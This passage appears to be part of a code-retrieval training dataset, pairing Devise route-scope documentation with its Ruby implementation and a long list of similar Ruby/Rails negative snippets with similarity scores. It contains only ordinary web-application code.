"0.6101658",
"0.6096006",
"0.6069385",
"0.6036315",
"0.60075146",
"0.60064757",
"0.60052335",
"0.5987372",
"0.5983746",
"0.595016",
"0.5948963",
"0.5937842",
"0.5935692",
"0.59041876",
"0.5895758",
"0.58747965",
"0.5873143",
"0.58679587",
"0.5861612",
"0.5852028",
"0.5850284",
"0.5848834",
"0.58462286",
"0.58412176",
"0.5838394",
"0.5830855",
"0.58244026",
"0.58236665",
"0.5811886",
"0.5810233",
"0.5800168",
"0.57968354",
"0.57933223",
"0.57901484",
"0.57823783",
"0.57757235",
"0.5775128",
"0.57742065",
"0.57722193",
"0.5772001",
"0.5770701",
"0.576838",
"0.57658243",
"0.57656574",
"0.5762512",
"0.57593256",
"0.5757721",
"0.57546055",
"0.57546055",
"0.5753154",
"0.5743069",
"0.5743064",
"0.57420737",
"0.57411444",
"0.57337886",
"0.572661",
"0.5726347",
"0.572557",
"0.57193357",
"0.5718866",
"0.5718866",
"0.5718866",
"0.571812",
"0.5714872",
"0.57080626",
"0.57058346",
"0.57058346",
"0.5705238",
"0.5704464",
"0.5703894",
"0.5703228",
"0.57014257",
"0.5700046",
"0.5699762",
"0.5694127",
"0.5693238",
"0.5690054",
"0.56900406",
"0.56871057",
"0.5686768",
"0.5686327",
"0.56846696",
"0.5681794"
] |
0.6579713
|
5
|
Sets the devise scope to be used in the controller. If you have custom routes, you are required to call this method (also aliased as :as) in order to specify to which controller it is targeted. as :user do get "sign_in", to: "devise/sessionsnew" end Notice you cannot have two scopes mapping to the same URL. And remember, if you try to access a devise controller without specifying a scope, it will raise ActionNotFound error. Also be aware of that 'devise_scope' and 'as' use the singular form of the noun where other devise route commands expect the plural form. This would be a good and working example. devise_scope :user do get "/some/route" => "some_devise_controller" end devise_for :users Notice and be aware of the differences above between :user and :users
|
def devise_scope(scope)
constraint = lambda do |request|
request.env["devise.mapping"] = Devise.mappings[scope]
true
end
constraints(constraint) do
yield
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def devise_scope(scope); end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.set_user(resource, :scope => scope)\n end",
"def set_scope\n if (scope = params[:scope])\n if @resource.respond_to?(scope)\n @resource = @resource.send(scope)\n else\n not_allowed\n end\n end\n end",
"def scope_to(*args, &block)\n config.scope_to(*args, &block)\n end",
"def set_user_in_warden(scope, resource)\n scope = Devise::Mapping.find_scope!(scope)\n warden.set_user(resource, scope: scope, store: false)\n end",
"def auto_detect_scope(*args)\n options = args.extract_options!\n\n if options.key?(:for)\n options[:scope] = options[:for]\n ::ActiveSupport::Deprecation.warn(\"DEPRECATION: \" <<\n \"Devise scope :for option is deprecated. \" <<\n \"Use: facebook_*_link(:some_scope), or facebook_*_link(:scope => :some_scope)\")\n end\n\n scope = args.detect { |arg| arg.is_a?(Symbol) } || options[:scope] || ::Devise.default_scope\n mapping = ::Devise.mappings[scope]\n\n if mapping.for.include?(:facebook)\n scope\n else\n error_message =\n \"%s\" <<\n \" Did you forget to devise facebook_connect in your model? Like this: devise :facebook_connectable.\" <<\n \" You can also specify scope explicitly, e.g.: facebook_*link :for => :customer.\"\n error_message %=\n if scope.present?\n \"#{scope.inspect} is not a valid facebook devise scope. \" <<\n \"Loaded modules for this scope: #{mapping.for.inspect}.\"\n else\n \"Could not auto-detect any facebook_connectable devise scope.\"\n end\n raise error_message\n end\n end",
"def auth_options\n { scope: resource_name }\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def translation_scope\n \"devise.#{controller_name}\"\n end",
"def sign_in_and_redirect2(resource_or_scope, *args)\n options = args.extract_options!\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource = args.last || resource_or_scope\n sign_in(scope, resource, options)\n redirect_to stored_location_for(:user) || root_path # thanks_for_registration_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin/' if !resource_or_scope.blank? && resource_or_scope.is_a?(Admin)\n super\n end",
"def scope scope = nil, &proc\n @scope = (proc || scope) if (scope || proc) && configurable?\n @setup[:scope] ||= @scope ||\n (@controller.ctrl.slice.view.scope if @controller)\n end",
"def resource_scope=(resource_scope)\n @resource_scope = \"/#{resource_scope}\"\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n\t scope = Devise::Mapping.find_scope!(resource_or_scope)\n\t resource ||= resource_or_scope\n\t sign_in(scope, resource) unless warden.user(scope) == resource\n\t # redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n\t render :json => {:status => :signed_in}\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope ||= Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.instance_variable_get(:@users).delete(scope)\n warden.session_serializer.store(resource, scope)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user.id)\n end",
"def selected_scope\n (params[:scope] || :default).to_sym\n end",
"def after_sign_in_path_for(resource_or_scope)\n \"/users/#{current_user.id}\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/user'\n end",
"def after_sign_in_path_for(resource_or_scope); end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope == :user\n dash_user_path(:user)\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def authenticate_scope!\r\n send(:\"authenticate_user!\", :force => true)\r\n self.resource = send(:\"current_user\")\r\n end",
"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user # redirects to a user's show page\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.kind_of?(User)\n account_surveys_path\n else #Admins [for future]\n super(resource_or_scope)\n end\n end",
"def apply_scope(target, type:, name: :default, scope_options: nil)\n raise ActionPolicy::UnknownScopeType.new(self.class, type) unless\n self.class.scoping_handlers.key?(type)\n\n raise ActionPolicy::UnknownNamedScope.new(self.class, type, name) unless\n self.class.scoping_handlers[type].key?(name)\n\n mid = :\"__scoping__#{type}__#{name}\"\n scope_options ? send(mid, target, **scope_options) : send(mid, target)\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n if current_user.role == \"normal\"\n app_profiles_path\n else\n admin_home_path\n end\n else\n root_path\n end\n end",
"def current_scope\n params[:scope].try(:to_sym) || railgun_resource.default_scope.try(:key)\n end",
"def authorize_params\n\n # Trick shamelessly borrowed from the omniauth-facebook gem!\n super.tap do |params|\n %w[scope].each { |v| params[v.to_sym] = request.params[v] if request.params[v] }\n params[:scope] ||= DEFAULT_SCOPE # ensure that we're always request *some* default scope\n end\n end",
"def after_sign_in_path(resource_or_scope)\n case resource_or_scope\n when :user, User\n expenses_path\n else\n super\n end\n end",
"def apply_scopes(*)\n relation = super\n relation = relation.accessible_by(current_ability) if scope_accessible?\n relation\n end",
"def scope_for(finder, options = {})\n return finder unless options.keys.include? @named_scope\n value = options.delete(@named_scope)\n finder.send(@named_scope, value)\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope.class.name\n when 'Venue'\n venue_root_url(:protocol => 'http')\n when 'Admin'\n admin_root_url(:protocol => 'http')\n else\n super\n end\n end",
"def authenticate_scope!\n super\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def scoped_by(name, options = {})\n options[:scope] ||= :reference\n if scope_class = self.class.scope_types[options[:scope]]\n @scopes[name] = scope_class.new(@model, name, options)\n end\n end",
"def stradivari_scope(name, *args, &block)\n callable, options = stradivari_scope_options(*args, &block)\n\n scope(name, callable)\n options[:type] ||= :string\n stradivari_scopes.store(name.to_sym, options)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user\n end",
"def sign_in_and_redirect(resource_or_scope, *args); end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def set_search_scope(opts)\n opts = check_params(opts,[:search_scopes])\n super(opts)\n end",
"def current_user_scope\n current_user\n end",
"def set_scope(val)\n @scope = val\n build_path_query\n @scope\n end",
"def devise_i18n_options(options)\n options[:scope] = \"devise.registrations\"\n options\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def scope\n @scope ||= Array(@root_scope) + [Inflector.underscore(name)]\n end",
"def signed_in?(scope)\n warden.authenticate?(:scope => scope)\n end",
"def scope(object = nil)\n configure(:scope, object)\n end",
"def namespace_scopes\n super\n end",
"def authenticate_scope!\r\n send(:\"authenticate_#{resource_name}!\")\r\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\r\n end",
"def set_routable_scope(router_class, routable_scope)\n scope router_class.scope_name, routable_scope || -> {}\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def update_scope\n @scope = params[:scope] || params[:q] || {}\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n return render :json => {:success => true}\n end",
"def apply_pagination_scope(scope)\n settings = pagination_settings\n settings = instance_exec(&settings) if settings.is_a?(Proc)\n\n unless settings.nil?\n page = settings[:page] || params[:page]\n per_page = settings[:per_page]\n padding = settings[:padding]\n\n if defined?(::Kaminari)\n scope = scope.page(page).per(per_page).padding(padding)\n elsif defined?(::WillPaginate)\n scope = scope.paginate(page: page, per_page: per)\n else\n raise StandardError, 'Only WillPaginate & Kaminari are supported by friendly_admin'\n end\n end\n scope\n end",
"def downgrade_scopes!\n return unless Feature.enabled?(:omniauth_login_minimal_scopes, current_user,\n default_enabled: :yaml)\n\n auth_type = params.delete('gl_auth_type')\n return unless auth_type == 'login'\n\n ensure_read_user_scope!\n\n params['scope'] = Gitlab::Auth::READ_USER_SCOPE.to_s if application_has_read_user_scope?\n end",
"def all_scopes\n @all_scopes ||=\n {'identity' => (auth['scope'] || apps_permissions_users_list[user_id].to_h['scopes'].to_a.join(',')).to_s.split(',')}\n .merge(auth['scopes'].to_h)\n end",
"def assign_access_scope(scope)\n ACCESS_SCOPES.include?(scope.to_s) or raise \"'#{ scope }' is not a valid scope.\"\n self.access_scope = scope.to_s\n end",
"def oauth2_scope(value = nil)\n rw_config(:oauth2_scope, value, '')\n end",
"def sign_in(resource_or_scope, *args); end",
"def after_sign_in_path_for(resource_or_scope)\n patients_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.banned?\n sign_out resource_or_scope\n banned_index_path\n elsif session[:pre_sign_in_path] && session[:pre_sign_in_path] != birthyear_path || session[:pre_sign_in_path] != new_user_session_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || root_path\n elsif request.env['omniauth.origin'] && request.env['omniauth.origin'] != new_user_session_path || request.env['omniauth.origin'] != birthyear_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || request.env['omniauth.origin'] || root_path\n else\n root_path\n end\n end",
"def scope\n read_attr :scope, :to_sym\n end",
"def authorize_scopes\n scopes = Array(Rack::Utils.parse_query(request.query_string)[\"scope\"])\n return if scopes.empty?\n\n auth_scopes = {}\n\n # First try to fetch the requested scopes and the handler. If no scopes\n # were successfully given, respond with a 401.\n scopes.each do |scope|\n auth_scope, actions = scope_handler(scope)\n\n actions.each do |action|\n # It will try to check if the current user is authorized to access the\n # scope given in this iteration. If everything is fine, then nothing will\n # happen, otherwise there are two possible exceptions that can be raised:\n #\n # - NoMethodError: the targeted resource does not handle the scope that\n # is being checked. It will raise a ScopeNotHandled.\n # - Pundit::NotAuthorizedError: the targeted resource unauthorized the\n # given user for the scope that is being checked. In this case this\n # scope gets removed from `auth_scope.actions`.\n begin\n authorize auth_scope.resource, \"#{action}?\".to_sym\n rescue Portus::AuthScope::NamespaceNotSupport, NoMethodError, Pundit::NotAuthorizedError, Portus::AuthScope::ResourceNotFound => e\n logger.debug e\n logger.debug \"action #{action} not handled/authorized, removing from actions\"\n auth_scope.actions.delete_if { |a| match_action(action, a) }\n end\n end\n\n next if auth_scope.actions.empty?\n # if there is already a similar scope (type and resource name),\n # we combine them into one:\n # e.g. scope=repository:busybox:push&scope=repository:busybox:pull\n # -> access=>[{:type=>\"repository\", :name=>\"busybox\", :actions=>[\"push\", \"pull\"]}\n k = [auth_scope.resource_type, auth_scope.resource_name]\n if auth_scopes[k]\n auth_scopes[k].actions.concat(auth_scope.actions).uniq!\n else\n auth_scopes[k] = auth_scope\n end\n end\n auth_scopes.values\n end",
"def apply_to_scope(scope)\n scope\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def after_sign_in_path_for(resource_or_scope)\n return \"/admin\"\n end",
"def set_scope(scope)\n run_callbacks :set_scope do\n self.scope = scope\n end\n end",
"def dampen_scope(scope)\n define_method(:dampening_scope) do\n scope\n end\n end",
"def scope\n @options[:scope]\n end",
"def authenticate_scope!\n \n \n do_before_request \n\n end",
"def route(name, namespace=nil)\n scope.send(roda_class.named_route(name, namespace), self)\n end",
"def authorize_scopes\n @authorize_scopes ||= (env['omniauth.params']['scope'] || authorize_params['scope']).split(' ')\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n resource_or_scope.role.includes?('administrator') ? notes_url : profile_path\n else\n super \n end\n end",
"def signed_in_resource\n warden.authenticate(scope: resource_name)\n end",
"def after_sign_in_path_for(resource_or_scope)\n return session['user_return_to'] if session['user_return_to'].present?\n\n if defined? session[:return_to]\n if session[:return_to].ends_with? 'admin'\n if can? :access_units_index, :admin\n return admin_units_url\n elsif can? :access_courses_index, :admin\n return admin_unit_url(current_user.units.first)\n else\n unit_course_url(Unit.first, Course.first)\n end\n elsif params[:controller] == \"devise/passwords\"\n unit_url(Unit.first)\n else\n return session[:return_to]\n end\n else\n unit_course_url(Unit.first, Course.first)\n end\n end",
"def github_authenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n warden.authenticated?(scope: scope)\n end\n end",
"def add_scope(name, config={})\n scopes[name] = config\n end",
"def resource_class\n devise_mapping.to\n end",
"def after_sign_in_path_for(resource_or_scope)\n admin_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/admin'\n end",
"def after_sign_up_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) # TODO different paths for different folks\n root_path\n else\n super\n end\n end"
] |
[
"0.63038975",
"0.60145664",
"0.56660396",
"0.5660806",
"0.55076504",
"0.5474653",
"0.54698837",
"0.5284277",
"0.52402264",
"0.52402264",
"0.5200738",
"0.5157306",
"0.5135411",
"0.5102347",
"0.5083151",
"0.5047014",
"0.50278544",
"0.50278544",
"0.50207245",
"0.5019525",
"0.49887347",
"0.49808428",
"0.49779347",
"0.49760315",
"0.49741903",
"0.49570948",
"0.49066454",
"0.49040407",
"0.49040407",
"0.48929062",
"0.48897254",
"0.48759082",
"0.48609015",
"0.4855847",
"0.484628",
"0.4843392",
"0.48329115",
"0.4832673",
"0.48298055",
"0.48214397",
"0.4817242",
"0.4817242",
"0.4817242",
"0.4817242",
"0.4817242",
"0.4817242",
"0.4817242",
"0.4816583",
"0.48149788",
"0.48128033",
"0.48128033",
"0.48068473",
"0.47958958",
"0.47891334",
"0.4788302",
"0.47829518",
"0.47815993",
"0.47810182",
"0.47784206",
"0.47784206",
"0.47784206",
"0.47784206",
"0.47783116",
"0.4771962",
"0.47606295",
"0.47577974",
"0.47141668",
"0.47135997",
"0.4707218",
"0.47058085",
"0.47011152",
"0.47009048",
"0.46865234",
"0.46862638",
"0.46662897",
"0.46641868",
"0.4660358",
"0.4638262",
"0.46375614",
"0.46244094",
"0.46091262",
"0.46073186",
"0.45986593",
"0.45986593",
"0.45975125",
"0.4597295",
"0.45941475",
"0.45921096",
"0.45765504",
"0.45741516",
"0.45741078",
"0.4565677",
"0.45648313",
"0.45609707",
"0.45598686",
"0.4554689",
"0.45539096",
"0.45469835",
"0.45404932",
"0.45302528"
] |
0.650471
|
0
|
Instance Methods This must be overriden otherwise a stack error will occur
|
def get_update
"Scheduled for disposition in #{fiscal_year(disposition_year)}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def implementation; end",
"def implementation; end",
"def overrides; end",
"def custom; end",
"def custom; end",
"def internal; end",
"def private_method\n end",
"def initialize\n \n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def refutal()\n end",
"def initialize()\n # override parent\n end",
"def tag; raise 'Override this method'; end",
"def initialize\r\n\r\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def initialize()\r\n\r\n end",
"def initialize\n\t\t\n\tend",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end"
] |
[
"0.81206024",
"0.7433605",
"0.7433605",
"0.7131736",
"0.7077887",
"0.7077887",
"0.7049042",
"0.6927309",
"0.68313843",
"0.6755908",
"0.6755908",
"0.6755908",
"0.67526174",
"0.67526174",
"0.67130387",
"0.66995394",
"0.6672705",
"0.6659637",
"0.66464406",
"0.66464406",
"0.66464406",
"0.66464406",
"0.66464406",
"0.66464406",
"0.66464406",
"0.6634824",
"0.6634824",
"0.6634824",
"0.6634824",
"0.66298676",
"0.66271055",
"0.6625488",
"0.6625488",
"0.6625488",
"0.6625488",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789",
"0.6623789"
] |
0.0
|
-1
|
Set resonable defaults for a new schedule disposition update event
|
def set_defaults
super
self.disposition_year ||= current_planning_year_year
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_defaults\n super\n self.disposition_type ||= transam_asset.disposition_updates.last.try(:disposition_type)\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def set_defaults\n if self.state.blank?\n self.state ||= :unsubmitted\n end\n if self.priority.blank?\n self.priority ||= :medium\n end\n if self.start.blank?\n self.start = Time.now + 1.day\n end\n if self.end.blank?\n self.end = start.to_time + 1.hour\n end\n if self.repeats.blank?\n end\n end",
"def set_defaults\n super\n self.event_date ||= Date.today\n self.state ||= \"new\"\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def preset_default_values( params_hash = {} )\n unless self.patient # Set current patient only if not set\n begin\n if params_hash[:patient_id]\n self.patient_id = params_hash[:patient_id].to_i\n end\n rescue\n self.patient_id = nil\n end\n end\n\n unless self.date_schedule # A default date schedule must be set anyhow:\n begin \n self.date_schedule = params_hash[:date_schedule] ? params_hash[:date_schedule] : Time.now\n rescue # Set default date for this entry:\n self.date_schedule = Time.now\n end\n end\n self\n end",
"def set_defaults\n super\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n\n self.from_line ||= transam_asset.try(:from_line)\n self.from_segment ||= transam_asset.try(:from_segment)\n self.to_line ||= transam_asset.try(:to_line)\n self.to_segment ||= transam_asset.try(:to_segment)\n self.segment_unit ||= transam_asset.try(:segment_unit)\n self.from_location_name ||= transam_asset.try(:from_location_name)\n self.to_location_name ||= transam_asset.try(:to_location_name)\n self.event_datetime ||= DateTime.now\n\n if self.start_datetime && self.state == 'started' && !self.new_record?\n unless self.start_datetime <= DateTime.now && (self.end_datetime.nil? || DateTime.now <= self.end_datetime)\n fire_state_event(:closeout)\n\n event = WorkflowEvent.new\n event.creator = User.find_by(first_name: 'system')\n event.accountable = self\n event.event_type = 'closeout'\n event.save\n end\n end\n end",
"def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end",
"def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end",
"def set_creation_defaults\n if self.max_days == 0\n self.max_days = nil\n self.end_date = nil\n else\n self.end_date = self.start_date + self.max_days\n end\n self.percent = 0\n end",
"def preset_default_values( params_hash = {} )\n # XXX AmbGest 1.10 does not have a Firm entity:\n# unless self.firm\n# begin\n# if self.user_id and (default_firm_id = LeUser.find(self.user_id).firm_id)\n# self.firm_id = default_firm_id\n# end\n# rescue\n# self.firm_id = nil\n# end\n# end\n # Set default date for this entry:\n# self.date_last_met = Time.now unless self.date_last_met\n self\n end",
"def assign_defaults\n\t\t## WHICH OF OUR EMPLOYEES CAN RESIGN, BECOMES THE SAME AS WHO CAN VERIFY.\n\t\tself.which_of_our_employees_will_resign_outsourced_reports = self.who_can_verify_reports if self.which_of_our_employees_will_resign_outsourced_reports.blank?\n\tend",
"def update!(**args)\n @country_level_schedule_information = args[:country_level_schedule_information] if args.key?(:country_level_schedule_information)\n @default_format_information = args[:default_format_information] if args.key?(:default_format_information)\n @default_schedule_information = args[:default_schedule_information] if args.key?(:default_schedule_information)\n @event_id = args[:event_id] if args.key?(:event_id)\n @event_type = args[:event_type] if args.key?(:event_type)\n @event_url = args[:event_url] if args.key?(:event_url)\n @locale_level_format_information = args[:locale_level_format_information] if args.key?(:locale_level_format_information)\n @priority = args[:priority] if args.key?(:priority)\n end",
"def update!(**args)\n @can_reschedule = args[:can_reschedule] if args.key?(:can_reschedule)\n @end_time = args[:end_time] if args.key?(:end_time)\n @rollout_management_policy = args[:rollout_management_policy] if args.key?(:rollout_management_policy)\n @start_time = args[:start_time] if args.key?(:start_time)\n end",
"def update!(**args)\n @can_reschedule = args[:can_reschedule] if args.key?(:can_reschedule)\n @end_time = args[:end_time] if args.key?(:end_time)\n @rollout_management_policy = args[:rollout_management_policy] if args.key?(:rollout_management_policy)\n @start_time = args[:start_time] if args.key?(:start_time)\n end",
"def default_values\n\t\t\tself.approved \t\t\t= false\n\t\t\tself.slot_minutes \t= 30\n\t\t\tself.office_hour_start = Time.parse('08:00 UTC')\n\t\t\tself.office_hour_end = Time.parse('16:00 UTC')\n\t\t\tself.monday \t\t\t\t= false\n\t\t\tself.tuesday\t\t\t\t= false\n\t\t\tself.wednesday \t\t= false\n\t\t\tself.thursday \t\t\t= false\n\t\t\tself.friday\t\t\t\t\t= false\n\t\t\tself.saturday\t\t\t\t= false\n\t\t\tself.sunday\t\t\t\t\t= false\n\t\t\tnil\n\t\tend",
"def update!(**args)\n @calendar_day = args[:calendar_day] if args.key?(:calendar_day)\n @grace_period_end = args[:grace_period_end] if args.key?(:grace_period_end)\n @grace_period_start = args[:grace_period_start] if args.key?(:grace_period_start)\n @grace_period_type = args[:grace_period_type] if args.key?(:grace_period_type)\n @manual_grace_period_info = args[:manual_grace_period_info] if args.key?(:manual_grace_period_info)\n end",
"def update!(**args)\n @on_demand = args[:on_demand] if args.key?(:on_demand)\n @schedule = args[:schedule] if args.key?(:schedule)\n end",
"def set_defaults\n self.last_run ||= '1999-9-9 00:00:00 UTC'\n self.status ||= 3\n self.query_run_time ||= 0\n self.alert_value ||= '0'\n end",
"def preset_default_values( params_hash = {} )\n unless self.firm\n begin\n default_firm_id = params_hash[:firm_id] ||\n ( params_hash[:user_id] && LeUser.find(params_hash[:user_id].to_i).firm_id )\n self.firm_id = default_firm_id\n rescue\n self.firm_id = nil\n end\n end\n # Set default date for this entry:\n self.date_last_met = Time.now unless self.date_last_met\n self\n end",
"def update!(**args)\n @disable_auto_scheduling = args[:disable_auto_scheduling] if args.key?(:disable_auto_scheduling)\n @end_time = args[:end_time] if args.key?(:end_time)\n @start_time = args[:start_time] if args.key?(:start_time)\n end",
"def set_defaults\n self.annual_inflation_rate ||= 1.1\n self.pcnt_residual_value ||= 0\n self.condition_rollup_weight ||= 0\n end",
